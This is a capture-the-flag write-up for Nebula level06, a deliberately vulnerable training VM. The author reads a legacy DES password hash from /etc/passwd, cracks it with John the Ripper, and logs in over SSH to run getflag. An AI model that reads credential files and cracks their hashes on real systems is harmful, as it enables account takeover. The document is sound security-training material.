Level06 specifies that “The flag06 account credentials came from a legacy unix system.”
I believe the hint spells out exactly what we need to solve this level.
Legacy unix systems stored the password hashes in /etc/passwd, which is world-readable. Modern systems use the shadow file to store this sensitive information.
A quick grep statement should confirm if my suspicions are correct.
level06@nebula:~$ grep flag06 /etc/passwd flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
Perfect, the line for the flag06 account contains a password hash instead of the ‘x’ that would be displayed on a modern system utilizing /etc/shadow.
Time to fire up John the Ripper to crack the hash:
foo@kali:~$ john flag06 Using default input encoding: UTF-8 Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 AVX]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status hello (flag06) 1g 0:00:00:00 DONE 2/3 (2016-02-06 01:17) 100.0g/s 881200p/s 881200c/s 881200C/s 123456..nutmegs Use the "--show" option to display all of the cracked passwords reliably Session completed
John quickly identifies the password as ‘hello’. Time to test:
level06@nebula:~$ ssh flag06@localhost The authenticity of host 'localhost (127.0.0.1)' can't be established. RSA key fingerprint is 67:fe:f4:09:cd:0f:ba:dd:87:2b:73:2c:80:31:c2:68. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'localhost' (RSA) to the list of known hosts. _ __ __ __ / | / /__ / /_ __ __/ /___ _ / |/ / _ \/ __ \/ / / / / __ `/ / /| / __/ /_/ / /_/ / / /_/ / /_/ |_/\___/_.___/\__,_/_/\__,_/ exploit-exercises.com/nebula For level descriptions, please see the above URL. To log in, use the username of "levelXX" and password "levelXX", where XX is the level number. There are currently 20 levels (00 - 19). flag06@localhost's password: Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686) * Documentation: https://help.ubuntu.com/ New release '12.04 LTS' available. Run 'do-release-upgrade' to upgrade to it. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. flag06@nebula:~$ getflag You have successfully executed getflag on a target account
The password worked, I was able to successfully log into the flag06 account and run getflag.